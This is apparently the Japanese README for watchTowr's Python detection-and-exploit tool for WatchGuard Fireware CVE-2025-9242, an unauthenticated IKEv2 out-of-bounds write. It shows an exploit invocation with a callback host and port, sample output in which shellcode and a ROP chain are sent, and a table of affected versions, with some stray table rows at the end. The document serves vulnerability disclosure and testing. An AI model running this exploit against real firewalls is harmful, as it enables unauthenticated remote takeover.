
Pythonベースの検出アーティファクト生成ツールおよびエクスプロイト for WatchGuard Fireware OS CVE-2025-9242、認証不要のIKEv2アウトオブバウンズ書き込み脆弱性です。バージョンフィンガープリンティング、脆弱性確認、シェルコードペイロードの構築、ROPチェーン実行を自動化します。
WatchGuard CVE-2025-9242 用検出アーティファクト生成ツール
https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f
技術詳細についてはブログ記事をご覧ください
python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1 --lport 31337 --exploit
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-WatchGuard-CVE-2025-9242.py
(*) WatchGuard Unauthenticated Remote Code Execution Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-9242]
[#] Sending IKEv2 SA Init with default transform
[#] WatchGuard Firmware Version: 12.11.3
[#] WatchGuard Build Number: 719894
[+] IKEv2 service is vulnerable to CVE-2025-9242 based on version number 12.11.3 < 12.11.4
[+] Default IKEv2 service found
[#] Verifying if IKEv2 service is vulnerable...
[+] IKEv2 service is vulnerable to CVE-2025-9242
[#] Building shellcode payload...
[#] Building ROP chain...
[#] Sending exploit payload to 192.168.56.1:31337
このスクリプトは、WatchGuard OS が CVE-2025-9242 に対して脆弱かどうかを検出しようとします。
以下の WatchGuard OS のバージョンが影響を受けます
| Vulnerable Version | Resolved Version |
|---|---|
| 2025.1 | 2025.1.1 |
| 12.x | 12.11.4 |
| 12.5.x (T15 & T35 models) | 12.5.13 |
詳細については、WatchGuard Firebox iked Out of Bounds Write Vulnerability をご覧ください
最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください
| 12.3.1 (FIPS-certified release) |
| 12.3.1_Update3 (B722811) |
| 11.x | End of Life |